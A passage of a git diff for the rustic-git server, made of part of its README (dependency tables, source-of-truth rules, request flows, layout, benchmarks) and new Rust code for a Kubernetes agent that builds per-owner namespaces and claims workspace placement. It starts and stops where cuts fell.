(`RUSTIC_GIT_MONGO_URI`, db `kloudlite`) + Core API (`COSMOS_*`, db `workspaces`) | external, Azure | Directory (users, teams, memberships, invites) and cross-cluster `Region` metadata | api tier (writer), server tier (pull migration read) | Directory; `Region` only. Where a CRD and Cosmos could disagree, the CRD wins | +| Redis | `RUSTIC_GIT_REDIS_URL` (Azure Managed Redis) | external | one `events` stream + the api tier's read cache | server, api, worker | Nothing — a nudge and a view, never the record | +| Per-region Azure Blob | `AZURE_ACCOUNT/KEY/CONTAINER` on the agent | external | snapshot streams and block images, content-addressed `blobs/{owner}/{algo}/{hex}` | agent | Snapshot bytes (records live on the server tier) | +| GHCR | `ghcr.io/kloudlite/{rustic-git,rustic-git-web,rustic-git-agent}` | external | container images, pinned by commit SHA | CI pushes, kubelets pull | — | +| GitHub Actions | `.github/workflows/{image,web}.yml` | external | builds/pushes images, cargo test/clippy/audit/deny, bun checks | GHCR | — | +| Resend | `https://api.resend.com/emails` (`web/apps/web/src/lib/mail.ts`) | external | invite and sign-in emails | web | — | +| OAuth providers | GitHub, Google, Microsoft Entra ID (Auth.js) | external | sign-in | web | — | +| Cloudflare | fronts `dev.kloudlite.io` (Flexible SSL) | external | TLS, WAF, rate limiting | web ingress | — | + +## External dependencies + +| Service | Used for | Which component | Credential env / secret | Without it | +| --- | --- | --- | --- | --- | +| Object store (Azure Blob / S3) | every byte: SlateDB, packs, registry blobs, index markers, auth records | server, api, worker | `RUSTIC_GIT_S3_URL` + `AZURE_STORAGE_ACCOUNT_NAME`/`_KEY` (Secret `rustic-git-storage`), or AWS env | Nothing works | +| Cosmos DB (Mongo API) | directory: users, teams, invites; server tier's pull-request migration read | api (writer), server | `RUSTIC_GIT_MONGO_URI`, `RUSTIC_GIT_MONGO_DB` (Secret `rustic-git-mongo`) | api: team routes report unavailable, browse reads keep working. server: **not** optional — pod must not start without it, or pull requests get orphaned | +| Cosmos DB (Core API, db `workspaces`) | cross-cluster `Region` metadata; vol-agent surface config | api, server | `COSMOS_ENDPOINT`, `COSMOS_KEY`, `COSMOS_DB` (Secret `rustic-git-cosmos`, optional) | Workspace routes 503, feature dark; pods still boot | +| Redis | `events` nudge stream + api read cache | server, api, worker | `RUSTIC_GIT_REDIS_URL` (Secret `rustic-git-redis`, optional) | No data loss: merges fall back to the owner's periodic lanes, feed falls back to `pulls_across`, cache disabled (reads still correct) | +| Per-region Azure Blob | snapshot streams / block images | agent | `AZURE_ACCOUNT`, `AZURE_KEY`, `AZURE_CONTAINER` (Secret `rustic-git-agent`), else `S3_URL` MinIO fallback | Push/restore of workspace state fails; running workspaces keep running | +| k3s API server | the CRDs = truth for workspaces | api (spec), agent (status) | `KUBECONFIG` mounted secret on api; ServiceAccount `rustic-git-agent` on the agent | No workspaces or environments at all | +| Server tier `/vol-agent` | volume commit records and ref moves | agent | `WS_REGISTRY_URL` + `WS_AGENT_TOKEN` (`RUSTIC_GIT_VOL_AGENT_TOKENS` on the server) | Snapshots upload but nothing records them; a token authorizes its own region only | +| Peer secret | node-to-node and api→server authentication | server, api, worker, web (once, at sign-in) | `RUSTIC_GIT_PEER_SECRET` (Secret `rustic-git-peer`) | Fleet cannot forward; api cannot read | +| JWT signing key | registry bearer tokens + user tokens, fleet-wide | server, api | `RUSTIC_GIT_JWT_SECRET` (Secret `rustic-git-jwt`) | Pods fail closed in fleet mode; per-pod random keys would 401 every push after a successful login | +| Cloudflare | TLS, WAF, rate limiting for the app host | web ingress | — | Origin exposed unfiltered; SSH (2222/22) never traversed it anyway | +| GHCR | image distribution (public packages, no pull secret) | all deployments | CI's `GITHUB_TOKEN` (`packages: write`) | No rollouts | +| GitHub Actions | build + test + image push | CI | repo-scoped `GITHUB_TOKEN` | No new images; deploy yamls pin SHAs, so running pods are unaffected | +| Resend | invites, email sign-in links | web | `RESEND_API_KEY`, `RESEND_FROM` (Secret `rustic-git-mail`, optional) | Invite still created; the inviter is shown the link to pass on by hand | +| GitHub / Google / Microsoft Entra ID OAuth | sign-in | web | `AUTH_{GITHUB,GOOGLE,MICROSOFT_ENTRA_ID}_{ID,SECRET}` (Secret `rustic-git-web`, optional) | Provider simply not offered; email + shared password remains if `AUTH_ALLOWED_EMAILS` + `AUTH_SHARED_PASSWORD` are set | +| `alpine/git:2.45.2` | init container that seeds a `gitRepo` workspace over SSH | agent | `WS_GIT_INIT_IMAGE`, `WS_GIT_SSH_HOST`/`PORT` | Git-seeded workspaces cannot clone | +| cert-manager | TLS on the registry ingress (`cr.khost.dev`) | AKS ingress | cluster issuer | Registry TLS expires | +| Azure (AKS, VMs, VNet/NSG) | the two clusters themselves (`deploy/k3s/provision-azure.sh`) | everything | Azure CLI credentials | — | + +No DeepSeek / `rustic-git-ai` key, secret, or reference exists anywhere in this repo (grepped +across `*.rs`, `*.ts`, `*.tsx`, `*.yaml`, `*.yml`, `*.sh`, `*.md`) — if such a Secret exists in the +cluster, nothing here reads it. + +## Source-of-truth rules + +- **One SlateDB per repo/image/volume, open on exactly one node.** Routing (`bins/server/src/router/route.rs`, + `repo_of` → `route_inner`) derives the ownership key from the URL *before* authentication and + refuses anything it cannot route. A second opener fences the legitimate owner. +- **The leader is the only writer of the ownership map**, by name (`RUSTIC_GIT_LEADER`), not by + election. Every pod must agree on that name. +- **Manifest bytes are stored and returned verbatim**; only an explicit `DELETE` or the keep-biased + GC sweep (`crates/registry/src/gc.rs`) ever removes a blob. +- **The CRDs are the truth** for `Workspace`, `Environment`, `Volume`, `SnapshotRequest`, + `OwnerBinding`. `/v1` writes spec, controllers write status through `/status`, and RBAC plus a + ValidatingAdmissionPolicy (`deploy/k3s/agent-{rbac,admission}.yaml`) — not convention — keeps a + controller out of desired state. Every `/v1` read is a projection of a CR. +- **Snapshot bytes and their commit records live on the server tier / region blob store**, not in + etcd — the only workspace state outside the cluster. +- **Cosmos holds the directory and `Region` metadata, nothing else.** Where a CRD and Cosmos could + disagree about a workspace, the CRD wins. +- **Views, never authorization:** `index/` markers, the `rustic-git.io/owner` and `/kind` labels + (`spec.owner` is the truth; controllers re-stamp labels on reconcile), and the Redis `events` + stream. Every consumer of `events` keeps a fallback that works with Redis down. +- **Placement is a fact, not a wish:** `Workspace`/`Environment` select on `.status.nodeName`, + controller-written `Volume`/`OwnerBinding` on `.spec.nodeName`, so two nodes never contend for + one subvolume. + +## Request flows + +**git push over HTTP or SSH.** The client hits the app host (Cloudflare → ingress) or SSH on +`git.khost.dev:22` → `rustic-git-lb`. The routing middleware derives `{owner}/{name}` from the URL, +and if this node isn't the owner it forwards to the peer that is (or asks the leader to place it). +The owning node authenticates against `auth/...` in the object store, buffers the pack (capped by +`RUSTIC_GIT_MAX_BODY`, 512 MiB in prod), writes objects, and updates refs in its own SlateDB. It +drops the repo's cached `refs` entry in Redis and publishes an `events` nudge. Neither the cache nor +the nudge is required for correctness. + +**docker pull.** `cr.khost.dev` (its own ingress, its own TLS) → `/v2/...`. `docker login` gets a +bearer token from `/v2/token`, answered by whichever node it lands on and signed with the +fleet-wide `RUSTIC_GIT_JWT_SECRET`. The manifest request routes on `img/{owner}/{name}` to the node +holding that image's DB, which returns the stored manifest bytes verbatim. Layers are read from +`blobs/{owner}/{algo}/{hex}` in the object store — per-owner and shared across that owner's images, +which is why no manifest path ever deletes a blob. + +**Open a PR and merge it.** The web app calls the api tier, which forwards to the owning node's +peer listener; the pull request is recorded in the repo's own DB. On merge the owner records the +claim and publishes a `MergeRequested` event. The worker picks it up off the `events` consumer +group, claims the job from the owner over HTTP, fetches into a bare cache clone using the real +`git` binary with peer auth, runs `merge-tree --write-tree` (or a throwaway worktree for rebase), +and pushes back with `--force-with-lease` — so branch protection judges it like anyone's push. If +Redis or the worker dies, the owner's 15s `announce_stranded_merges` beat re-announces the job. + +**Create a workspace seeded from a repo.** `/v1` on the api tier authenticates the bearer token, +checks team membership through the directory, and creates exactly one unplaced `Workspace` CR — +no node, no `Volume`, no namespace writes. Agents watch their own node's objects; one claims the +object by writing `status.nodeName`, then creates the `Volume` child with an ownerReference. The +Volume controller makes the btrfs subvolume; an `alpine/git` init container clones `owner/name` +over SSH from `WS_GIT_SSH_HOST` with the owner's platform key. Only then does the Deployment come +up in namespace `ws-{owner}`. + +**Push a snapshot.** `push` is the one mutating verb and has no separate commit step: the agent +stages a read-only btrfs snapshot locally, uploads the send stream to the region's Azure Blob +container under `blobs/{owner}/{algo}/{hex}`, POSTs a commit record and moves the `main` ref via +`/vol-agent/{owner}/{id}/{commits,ref}` on the server tier — routed like any other repo, so only the +node holding `repo/vol/{owner}/{id}` writes it. A push that dies mid-flight leaves the stage files +and an internal `unpushed` mark, so a retry resumes rather than re-snapshotting. The commit record +carries the source's kind and name in its `state`, because the record outlives the workspace and is +the only thing left that can say what the snapshot was of. + +**Browse snapshots.** The server tier is both the index and the record: `GET /api/{owner}/volumes` +lists an owner's volumes from the object store alone (no volume database is opened, so any node can +answer), and `GET /api/{owner}/{name}/volumehistory` reads one volume's commits on the node that +owns it. `/v1/volumes`, `/history`, `/refs` and `restore` on `bins/api` are projections of those +reads over the peer credentials. Nothing user-facing reads a `SnapshotRequest`: a snapshot is a +point in time and outlives the workspace it was taken of, so a listing built from live workspaces — +or from a request that has since been collected — would lose it. + +**Stop an environment.** `desiredState: Stopped` is `replicas: 0`, so the stop survives a node +reboot. The controller pushes the environment's own subvolume first and gates the Deployment +deletes on that push having *landed*, not merely been requested — the one place a push happens +without an explicit `/push` call. + +## Repo layout + +| Path | What | +| --- | --- | +| `crates/core` | errors, logging, JWT helpers shared by every binary | +| `crates/storage` | object store bootstrap, SlateDB store, `auth/`, `index/` markers, Redis `events` + cache | +| `crates/gitbase` | git object plumbing over `gix_odb` (pack writes, ref protection, merge-base) | +| `crates/git` | the git wire protocols (upload-pack v2 only, receive-pack) | +| `crates/pulls` | pull requests, the Cosmos-Mongo directory, the merge worker | +| `crates/registry` | OCI Distribution v1.1 registry, auth, GC sweep | +| `crates/api` | the read/browse API served by `bins/api` | +| `crates/app` | shared server application state and lanes | +| `crates/workspaces` | CRDs, `/v1` routes, Cosmos `Region` store, snapshot engine, registry client | +| `bins/server` | `rustic-git` — git + registry + vol-agent, routing, ownership | +| `bins/api` | `rustic-git-api` — `/v1` and browse, cannot open a repo for writing | +| `bins/worker` | `rustic-git-worker` — merges and blob GC | +| `bins/agent` | `rustic-git-agent` — privileged node controller, btrfs | +| `web/` | turborepo; the Next.js app in `web/apps/web` | +| `deploy/` | `rustic-git.yaml`, `rustic-git-web.yaml` (AKS) and `deploy/k3s/*` (CRDs, agent, RBAC, provisioning) | +| `tests/` | integration suite hosted by the near-empty root package, plus `registry_e2e.sh`, `ws_e2e.sh` | +| `docs/` | design docs and plans under `docs/superpowers/`, benchmarks and reviews alongside | + +## Run it + +```sh +cargo test # workspace units + tests/*.rs +cargo test --test registry_blobs # one integration file +cargo clippy --workspace -- -D warnings # what CI gates on + +RUSTIC_GIT_S3_URL=file://./x cargo run -p rustic-git-server -- serve # no S3; mem:// is lost on exit + # local scratch (host key, cache) lands under ./.local/ + +cd web && bun install && bun run dev # lint / typecheck / build / test also available + +./tests/registry_e2e.sh # real docker push/pull; exit 77 = docker half skipped, not a pass +./tests/ws_e2e.sh # server+api+agent+Cosmos+Azure+btrfs against k3s; + # exit 77 = a prerequisite was missing (root btrfs, + # reachable cluster with CRDs, COSMOS_*/AZURE_* env) ``` -Every URL except `/refs` names an object id, so the cache hit at the top needs no git node at all — -that is the entire point of the shape. - -### Visibility - -Repos are private by default: reads and clones need a token whose owner matches the repo's owner. -`admin set-visibility / public` opens a repo to reads *and* clones by **everyone** — -anonymous callers and any authenticated caller alike, not just the owner. Presenting a token never -grants less than presenting none. Pushing and admin always require the owner's token, public or -not: public grants read, never identity. - -The flip is the one admin write that changes live authorization, so it does not touch the database -directly: it goes to `POST /api/{owner}/{name}/visibility` on the peer listener, and the routing -middleware forwards it to the node that owns the repo. One writer, one view — a direct write from a -second process would leave the serving node authorizing from its own stale handle for seconds. That -endpoint is peer-only: an `/api/` request on the public listener is refused, never forwarded. - -A private repo answers 404, never 403 — a stranger cannot tell it from a repo that does not exist. - -Flipping a repo back to private bumps a per-repo generation counter, which makes every cached -answer for it unreachable at once. That call can fail (Redis may be down), and when it does the -command fails loudly rather than reporting a success it did not achieve: the repo is private in the -database but its cached answers are not yet orphaned, and `admin purge-cache /` is the -retry. This is the one place the cache is *not* allowed to fail quietly — everywhere else a cache -outage only costs latency, here it would cost the guarantee itself. - -### `api` is a reserved owner name - -No repo may be owned by `api`, because `/api/{owner}/{name}/...` would otherwise be both that -repo's git route and another repo's browse route — and the routing middleware and the HTTP router -resolve that ambiguity differently, which is how one repo's request ends up routed by another -repo's ownership. Reserving the name removes the ambiguity instead of adjudicating it. A repo -created before this reservation keeps working over SSH and can be moved with `admin fork`; its -git-HTTP routes are gone. - -## Pack index - -A node needs to know which pack files a repo has before it can serve anything. That used to be a -listing of the object store on every request — a network round trip in front of every clone, fetch -and push. A node records each pack in the ref store as it uploads it, so the list comes from the -same database as the refs: no listing, and the pack set always matches the refs alongside it. Repos written before the index existed fall back to one listing, which is then -recorded. - -Measured against a bucket in another region, the server-side advertisement went from ~136ms to -~51ms. End-to-end `git ls-remote` is unchanged at ~0.3s, being dominated by process startup and two -HTTP round trips; the win is in server-side work and in not spending an object-store request per -git request, which matters for rate limits and cost long before it shows up as latency. - -## Write throughput - -Measured with `cargo test --release --test throughput -- --ignored --nocapture` against -DigitalOcean Spaces in Singapore (~200ms RTT), one node. A push costs one ref-update -transaction, so this is the ref store's ceiling per node: - -| concurrent ref updates | durable ops/sec | -|---|---| -| 1 | ~9 | -| 8 | ~70 | -| 32 | ~300 | -| 128 | ~1000 | -| 512 | ~2500 (plateau) | - -Writes are durable before returning (`await_durable`), and object-store latency is largely -hidden: the same benchmark against an in-memory store gives nearly identical numbers, because -concurrent commits batch into one flush. What a single client feels is therefore not bandwidth -but the flush cadence — roughly 70-115ms per push, floored by the write-ahead log flush interval -and the round trip of one small object write. Lowering `RUSTIC_GIT_FLUSH_INTERVAL_MS` from 100 to -5 moves serial throughput from ~9 to ~14 ops/sec and no further; past that the object store's own -latency dominates. - -The practical reading: the ref store is not the bottleneck for a git server. Pack indexing (CPU) -and pack upload (bandwidth) will saturate long before 2500 pushes/sec. Spread repos across nodes to -multiply this figure — each repo is an independent database. - -## License - -Server Side Public License v1 (SSPL-1.0). See [LICENSE](LICENSE). +Deploying: CI builds on push to master, but `web.yml` only runs when `web/**` changed, so the two +images do not move in lockstep — pin each yaml to the last SHA that actually built that image, then +`kubectl apply`. Details and the traps are in `CLAUDE.md`. diff --git a/bins/agent/Cargo.toml b/bins/agent/Cargo.toml new file mode 100644 index 00000000..1c00d156 --- /dev/null +++ b/bins/agent/Cargo.toml @@ -0,0 +1,40 @@ +[package] +name = "rustic-git-agent-bin" +version = "0.1.0" +edition = "2021" +license = "SSPL-1.0" + +[lib] +name = "rustic_git_agent" +path = "src/lib.rs" + +[[bin]] +name = "rustic-git-agent" +path = "src/main.rs" + +[dependencies] +base64 = { workspace = true } +chrono = { workspace = true } +libc = { workspace = true } +tracing = { workspace = true } +metrics = { workspace = true } +rustic-git-core = { path = "../../crates/core" } +# For `install_crypto_provider` only: this binary opens TLS to the API server through kube. +rustic-git-storage = { path = "../../crates/storage" } +rustic-git-workspaces = { path = "../../crates/workspaces" } +kube = { workspace = true } +# Not used directly — it is where the `reconcile_on` feature gate lives; see the workspace manifest. +kube-runtime = { workspace = true } +k8s-openapi = { workspace = true } +futures = { workspace = true } +tokio = { workspace = true } +reqwest = { workspace = true } +serde = { workspace = true } +serde_json = { workspace = true } +object_store = { workspace = true } +# `ssh-keygen` writes to a path, so a host key is made in a tempdir and read back. +tempfile = { workspace = true } + +[dev-dependencies] +# The mocked `kube::Client` reconcile.rs drives the controller against — no cluster in `cargo test`. +rustic-git-workspaces = { path = "../../crates/workspaces", features = ["testkit"] } diff --git a/bins/agent/src/binding.rs b/bins/agent/src/binding.rs new file mode 100644 index 00000000..bdbc7185 --- /dev/null +++ b/bins/agent/src/binding.rs @@ -0,0 +1,138 @@ +//! The per-owner shared objects, owned by exactly one reconciler. +//! +//! They used to be re-ensured by the workspace reconciler AND the environment reconciler on every +//! pass — two writers for one object, which is how a namespace ends up recreated by whichever ran +//! last. An `OwnerBinding` says "this owner's work lives on this node", so it is the natural owner +//! of "this owner has namespaces on this node". +//! +//! ponytail: bindings are never deleted; a node-retirement path re-homes them later. + +use crate::controller::{conditions_eq, ensure, patch_status, settle, Ctx, Outcome, ReconcileErr, TICK}; +use k8s_openapi::api::core::v1::{LimitRange, Namespace}; +use k8s_openapi::api::networking::v1::NetworkPolicy; +use k8s_openapi::api::rbac::v1::RoleBinding; +use kube::api::{Api, ListParams}; +use kube::runtime::controller::Action; +use kube::{Resource, ResourceExt}; +use rustic_git_workspaces::crd::{self, binding_name, ws_namespace}; +use rustic_git_workspaces::k8s; +use std::collections::BTreeSet; +use std::sync::Arc; + +pub const NAMESPACE_READY: &str = "NamespaceReady"; + +/// How long a waiter sleeps between `NamespaceReady` checks. Re-exported so the two parent +/// reconcilers cannot disagree about it. +pub const WAIT: std::time::Duration = TICK; + +/// Every team this owner has a workspace in ON THIS NODE, plus the personal namespace. +/// +/// The personal one is unconditional: a first workspace's reconcile waits on `NamespaceReady`, and +/// gating the namespace on a workspace that is itself waiting for the namespace is a deadlock. +/// +/// Both selectors are server-side — a label selector and a field selector are separate query +/// parameters, and `.status.nodeName` is `selectable` on the Workspace CRD — so the response is +/// this node's workspaces for this owner and nothing else. +/// +/// Keying off the owner LABEL rather than `spec.owner` is what makes the query indexed at all; the +/// label is a view that `heal_labels` re-stamps on every node reconcile, so a Workspace written by +/// some other path is invisible here for at most one pass — and the Workspace watch on this +/// controller is what re-triggers the binding once it has been stamped. +async fn teams_in_use(ctx: &Arc, owner: &str) -> Result, ReconcileErr> { + let api: Api = Api::all(ctx.client.clone()); + let lp = ListParams::default() + .labels(&format!("{}={owner}", k8s::OWNER_LABEL)) + .fields(&format!("status.nodeName={}", ctx.node)); + let mut teams = BTreeSet::from([String::new()]); + for w in api.list(&lp).await?.items { + // Re-checked locally: the field selector is only honoured by a CRD that declares + // `.status.nodeName` selectable, and a cluster still on an older CRD would hand back every + // node's workspaces — which would have this node build namespaces for someone else's. + if w.status.as_ref().map(|s| s.node_name.as_str()) == Some(ctx.node.as_str()) { + teams.insert(w.spec.team.clone()); + } + } + Ok(teams) +} + +/// Write the status only when it actually says something new. +/// +/// `crd::condition` stamps `lastTransitionTime` with `now`, so an unconditional write produces new +/// bytes on every pass, which fires this controller's own watch, which writes again: a hot loop +/// that never idles. `conditions_eq` ignores that timestamp for exactly this reason. +async fn write_binding_status(b: &crd::OwnerBinding, ctx: &Arc, gen: i64) -> Result<(), ReconcileErr> { + let conds = vec![crd::condition(NAMESPACE_READY, true, "Converged", "namespaces exist on this node", gen)]; + if let Some(cur) = &b.status { + if cur.observed_generation == Some(gen) && conditions_eq(&cur.conditions, &conds) { + return Ok(()); + } + } + let api: Api = Api::all(ctx.client.clone()); + patch_status( + &api, + &b.name_any(), + "OwnerBinding", + serde_json::json!({"observedGeneration": gen, "conditions": conds}), + ) + .await +} + +pub async fn apply_binding(b: &crd::OwnerBinding, ctx: &Arc) -> Result { + let gen = b.meta().generation.unwrap_or(0); + let Some(owner_ref) = b.controller_owner_ref(&()) else { + // Unreachable for an object that came off a watch, and permanent if it ever happens: no + // retry invents a uid. + return settle( + Outcome::Permanent("binding has no uid".into(), "NoUid"), + b, + "OwnerBinding", + gen, + |c| serde_json::json!({"observedGeneration": gen, "conditions": [c]}), + ctx, + ) + .await; + }; + let owner = &b.spec.owner; + for team in teams_in_use(ctx, owner).await? { + let ns = ws_namespace(owner, &team); + // No ownerReference on the namespace or the LimitRange: the namespace is shared by every + // workspace this user owns IN THIS TEAM, and an owner's quota ceiling must not vanish with + // a binding rewrite. See `crd::ws_namespace`. + ensure(&Api::::all(ctx.client.clone()), &k8s::namespace(&ns, owner, "workspace", None)).await?; + ensure( + &Api::::namespaced(ctx.client.clone(), &ns), + &k8s::limit_range(&ns, owner, "workspace", &crd::PodResources::default(), None), + ) + .await?; + let policies = Api::::namespaced(ctx.client.clone(), &ns); + for p in k8s::default_policies(&ns, owner, &owner_ref) { + ensure(&policies, &p).await?; + } + // The one ingress hole: port 22 from the region's gateway. Written here rather than by the + // workspace reconciler because the policy covers the whole SHARED namespace — an + // ownerReference to any one workspace would revoke ssh for its siblings when it is deleted. + ensure(&policies, &k8s::allow_gateway_ingress(&ns, owner, &owner_ref)).await?; + // Scope the API's Secret access to THIS namespace. The alternative is a cluster-wide + // `secrets: create` for the API, which would include the agent's own credentials. + let bindings = Api::::namespaced(ctx.client.clone(), &ns); + ensure( + &bindings, + &k8s::api_secret_binding(&ns, owner, crate::controller::API_SERVICE_ACCOUNT, crate::controller::API_NAMESPACE, Some(&owner_ref)), + ) + .await?; + // And the agent's own: the host-key Secret it reads and creates in `ensure_ssh` is + // granted here, per namespace, instead of `secrets` cluster-wide. + ensure(&bindings, &k8s::agent_secret_binding(&ns, owner, &owner_ref)).await?; + } + write_binding_status(b, ctx, gen).await?; + Ok(Action::await_change()) +} + +/// Whether the owner's binding on this node reports `NamespaceReady`. A missing binding is "not +/// ready", never an error: it is the ordinary gap between a claim and the binding reconcile. +pub async fn namespace_ready(ctx: &Arc, region: &str, owner: &str) -> Result { + let api: Api = Api::all(ctx.client.clone()); + let Some(b) = api.get_opt(&binding_name(region, owner)).await? else { return Ok(false) }; + Ok(b.status + .is_some_and(|s| s.conditions.iter().any(|c| c.type_ == NAMESPACE_READY && c.status == "True"))) +} diff --git a/bins/agent/src/claim.rs b/bins/agent/src/claim.rs new file mode 100644 index 00000000..ae607d37 --- /dev/null +++ b/bins/agent/src/claim.rs @@ -0,0 +1,234 @@ +//! Placement, as a reconciler. +//! +//! An object with an empty `status.nodeName` is UNPLACED. Each agent runs a second watch selecting +//! exactly those, and the first node whose claim lands wins. The claim is a status write and only a +//! status write: the API authored this object's spec, and a controller that edits a user's desired +//! state is the failure this whole design exists to remove. +//! +//! Two nodes for now — one session, one env — so the claim checks no free space at all. +//! ponytail: no capacity check in the claim; a pool big enough for nodes to fill unevenly needs one +//! here (node allocatable minus scheduled pod requests), which is a change to this function only. + +use crate::controller::{replace_status, Ctx, ReconcileErr}; +use kube::api::{Api, PostParams}; +use kube::runtime::controller::Action; +use kube::{Resource, ResourceExt}; +use rustic_git_workspaces::crd::{self, binding_name, OwnerBinding, OwnerBindingSpec}; +use std::sync::Arc; + +/// Whether THIS node may claim `object`, given the nodes already known to hold its data. +/// +/// Empty `compatible` with no source means "nowhere holds it yet", which every node may claim. A +/// `cloneOf` is the exception the spec calls out: the new object holds nothing, but a local clone +/// needs the SOURCE's disk, so the source's memory decides. +fn may_claim(me: &str, compatible: &[String], source_compatible: Option<&[String]>) -> bool { + if let Some(src) = source_compatible { + return src.iter().any(|n| n == me); + } + compatible.is_empty() || compatible.iter().any(|n| n == me) +} + +/// The nodes holding a `cloneOf` source's disk, when there is one. A source that has vanished +/// yields `Some([])` — nobody claims, and the object stays visible as unplaced rather than being +/// silently started somewhere with no data. +/// +/// Resolved as a `Volume`, not as a `Workspace`: `clone_env` writes the ENVIRONMENT's id here, so a +/// workspace-only lookup never found it and no node ever claimed a cloned environment. Both kinds +/// own a Volume of the parent's own name, and its `spec.nodeName` is the disk's real location — +/// which is the only thing placement needs. +async fn source_nodes( + ctx: &Arc, + source: Option<&crd::VolumeSource>, +) -> Result>, ReconcileErr> { + let Some(crd::VolumeSource::CloneOf { volume }) = source else { return Ok(None) }; + let api: Api = Api::all(ctx.client.clone()); + let nodes = match api.get_opt(volume).await? { + Some(v) => vec![v.spec.node_name], + None => vec![], + }; + Ok(Some(nodes)) +} + +/// The `storage.source` of a parent, which is `Option` for release 1 (a legacy object has no +/// `storage` block at all — see `WorkspaceSpec::storage`). +fn storage_source(storage: Option<&crd::WorkspaceStorage>) -> Option<&crd::VolumeSource> { + storage.and_then(|s| s.source.as_ref()) +} + +/// `union(existing, {me})` — a SET, computed and set, never appended. +/// +/// A level-triggered reconciler re-runs by design, and an append grows the array every time. The +/// desired value is "every node known to hold this object's data, including me"; that is what gets +/// written, so re-running is a no-op instead of a leak. +fn with_me(existing: &[String], me: &str) -> Vec { + let mut out = existing.to_vec(); + if !out.iter().any(|n| n == me) { + out.push(me.to_string()); + } + out +} + +/// A pre-migration object: it names its node in the DEPRECATED `spec.nodeName` and has never had a +/// `status.nodeName`, so it matches the unplaced watch while already being placed. Claiming it here +/// would hand it to whichever agent saw it first, ignoring the node its subvolume is actually on. +/// The startup migration is what moves these onto status. +fn is_legacy(spec_node: Option<&String>) -> bool { + spec_node.is_some_and(|n| !n.is_empty()) +} + +/// What the claim decides for one object, given what it currently says about itself. `None` means +/// leave it alone; `Some(status)` is the status to write. +/// +/// Split out because a 409 has to run the SAME decision against the re-read object: the peer that +/// beat us may have placed it (leave it), or may have only widened `compatibleNodes` (still ours to +/// claim). A second, subtly different decision on the retry path is how a loser talks itself into +/// overwriting a winner. +async fn decide( + ctx: &Arc, + node_name: &str, + legacy_node: Option<&String>, + compatible: &[String], + storage: Option<&crd::WorkspaceStorage>, + phase: crd::Phase, + gen: i64, +) -> Result, ReconcileErr> { + if !node_name.is_empty() || is_legacy(legacy_node) { + // Already placed: the disk has not moved, so a later start reconciles here with no + // placement step at all. + return Ok(None); + } + let src = source_nodes(ctx, storage_source(storage)).await?; + if !may_claim(&ctx.node, compatible, src.as_deref()) { + return Ok(None); + } + Ok(Some(serde_json::json!({ + "phase": phase, + "nodeName": ctx.node, + "compatibleNodes": with_me(compatible, &ctx.node), + "conditions": [crd::condition("Placed", true, "Claimed", &format!("claimed by {}", ctx.node), gen)], + }))) +} + +/// Whether `{region, owner}` is already bound to a node that is not this one. An owner's +/// namespaces are built on the bound node and nowhere else (`binding.rs` lists only that node's +/// workspaces), so a fresh object claimed anywhere else would create pods into a namespace that +/// never exists — 404 forever. Checked only once `decide` says claim, so an object this node has no +/// business with (placed, or outside `compatibleNodes`) still costs no API read. +async fn bound_elsewhere(ctx: &Arc, region: &str, owner: &str) -> Result { + let api: Api = Api::all(ctx.client.clone()); + Ok(api.get_opt(&binding_name(region, owner)).await?.is_some_and(|b| b.spec.node_name != ctx.node)) +} + +/// One optimistic attempt, then — on 409 — one re-read and one more. +/// +/// Two passes, not a loop: a third attempt against a peer that keeps winning is a hot loop over the +/// API server, and the peer's own write is a watch event that brings this object back anyway. So +/// the fallback is always `await_change()`, never a requeue. +const ATTEMPTS: usize = 2; + +pub async fn claim_workspace(w: &crd::Workspace, ctx: &Arc) -> Result { + let api: Api = Api::all(ctx.client.clone()); + let mut obj = w.clone(); + for attempt in 0..ATTEMPTS { + let st = obj.status.clone().unwrap_or_default(); + let Some(status) = decide( + ctx, + &st.node_name, + obj.spec.node_name.as_ref(), + &st.compatible_nodes, + obj.spec.storage.as_ref(), + crd::Phase::Pending, + obj.meta().generation.unwrap_or(0), + ) + .await? + else { + return Ok(Action::await_change()); + }; + if bound_elsewhere(ctx, &obj.spec.region, &obj.spec.owner).await? { + return Ok(Action::await_change()); + } + // Optimistic, carrying `metadata.resourceVersion`. NOT `patch_status`, which applies FORCED + // and therefore never conflicts — with a forced apply two agents both "win" and the second + // silently overwrites the first, which is the whole failure this write exists to prevent. + match replace_status(&api, &obj, "Workspace", status).await { + Ok(()) => { + // Only the WINNER binds. Binding an owner to a node that lost would send every + // later workspace of theirs to the wrong pool. + ensure_binding(ctx, &obj.spec.region, &obj.spec.owner).await?; + return Ok(Action::await_change()); + } + Err(kube::Error::Api(s)) if s.code == 409 && attempt + 1 < ATTEMPTS => { + // A peer wrote first. Re-read and re-decide rather than assuming it placed the + // object: it may have written something else entirely. + tracing::info!(workspace = %obj.name_any(), "placement write conflicted; re-reading"); + obj = api.get(&obj.name_any()).await?; + } + Err(kube::Error::Api(s)) if s.code == 409 => { + tracing::info!(workspace = %obj.name_any(), "lost the placement race; a peer claimed it"); + return Ok(Action::await_change()); + } + Err(e) => return Err(e.into()), + } + } + Ok(Action::await_change()) +} + +pub async fn claim_environment(e: &crd::Environment, ctx: &Arc) -> Result { + let api: Api = Api::all(ctx.client.clone()); + let mut obj = e.clone(); + for attempt in 0..ATTEMPTS { + let st = obj.status.clone().unwrap_or_default(); + // Environments have no clone-of-a-running-source path through placement: `clone_env` copies + // a volume by id and the copy is materialized by the Volume controller, which needs the + // same disk — the same rule, expressed through the same helper. + let Some(status) = decide( + ctx, + &st.node_name, + obj.spec.node_name.as_ref(), + &st.compatible_nodes, + obj.spec.storage.as_ref(), + crd::Phase::Creating, + obj.meta().generation.unwrap_or(0), + ) + .await? + else { + return Ok(Action::await_change()); + }; + if bound_elsewhere(ctx, &obj.spec.region, &obj.spec.owner).await? { + return Ok(Action::await_change()); + } + match replace_status(&api, &obj, "Environment", status).await { + Ok(()) => { + ensure_binding(ctx, &obj.spec.region, &obj.spec.owner).await?; + return Ok(Action::await_change()); + } + Err(kube::Error::Api(s)) if s.code == 409 && attempt + 1 < ATTEMPTS => { + tracing::info!(environment = %obj.name_any(), "placement write conflicted; re-reading"); + obj = api.get(&obj.name_any()).await?; + } + Err(kube::Error::Api(s)) if s.code == 409 => { + tracing::info!(environment = %obj.name_any(), "lost the placement race; a peer claimed it"); + return Ok(Action::await_change()); + } + Err(err) => return Err(err.into()), + } + } + Ok(Action::await_change()) +} + +/// The `{region, owner}` binding for this node, created atomically. A 409 means a peer got there +/// first and its answer is as good as ours — the binding is what makes the per-owner namespace +/// reconciler run, not a second placement decision. +pub async fn ensure_binding(ctx: &Arc, 